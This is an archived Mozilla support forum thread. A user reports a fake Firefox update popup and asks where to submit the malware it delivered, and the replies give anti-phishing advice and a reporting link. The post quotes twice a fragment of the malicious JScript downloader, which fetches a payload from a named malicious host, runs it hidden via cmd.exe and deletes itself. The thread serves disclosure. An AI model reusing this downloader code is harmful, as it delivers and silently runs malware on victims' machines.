Mozilla will shut down Pocket’s services on July 8, 2025. At that time users will no longer be able to access the Pocket website, apps and API. You can export your saved items and API data until October 8, 2025 before they are permanently removed. For more information, see this article.

Avatar for Username

Avoid support scams. We will never ask you to call or text a phone number or share personal information. Please report suspicious activity using the “Report Abuse” option.

Learn More

This thread was archived. Please ask a new question if you need help.

Where to send malware code

neodev
neodev

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:

url='https://queidwhoreslag.net/10/524.dat'; 

fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe';
for(var i=1;i<=5;i++)
{

try { c.open('GET', url, false); c.send(null); break; } 

    catch(e){

WScript.Sleep(5000); } 

}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position=0;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);
a.run('cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}
I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code: ----------------------------------------------------------------------------------------------------------------- url='https://queidwhoreslag.net/10/524.dat'; fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe'; for(var i=1;i<=5;i++) { try { c.open('GET', url, false); c.send(null); break; } catch(e){ WScript.Sleep(5000); } } d.Open; d.Type = 1; d.Write(c.ResponseBody); d.Position=0; if (b.Fileexists(fname))b.DeleteFile(fname); d.SaveToFile(fname); a.run('cmd.exe /c "'+fname+'"',0,false); var p = WScript.ScriptFullName; if (b.FileExists(p))b.DeleteFile(p); WScript.Echo('Update complete.'); } catch (e) {} -----------------------------------------------------------------------------------------------------------------

Chosen solution

You can bring up the code in https://support.mozilla.org/en-US/forums/contributors/712075

Read this answer in context 👍 0

All Replies (3)

FredMcD
FredMcD

. Whenever you get a message / popup that software / files need to be updated;

DO NOT USE ANY OF THE PROVIDED LINKS

While this may be a legitimate message, it could also be Malware or a Virus. Any time you want or need to check for upgrades, go to the website of the True Owner of the program in question. For example, to check out Firefox, go to https://www.mozilla.org {web link}

You can report such a site at; Google Report Phishing Page {web link} which is the same when done while on site by going to Help > Report Web Forgery

Help us safeguard Mozilla’s trademarks by reporting misuse {web link}

neodev
neodev Question owner

I did not click on the provided URLs; I opened up my Kali Linux VM and grabbed the direct URL to file links and downloaded the package that the malware was intending to deliver behind the scenes. I am just wondering if Mozilla is interested in the code; if not then this is solved.

James (On Leave)
James (On Leave)
  • Moderator
  • Top 10 Contributor

Chosen Solution

You can bring up the code in https://support.mozilla.org/en-US/forums/contributors/712075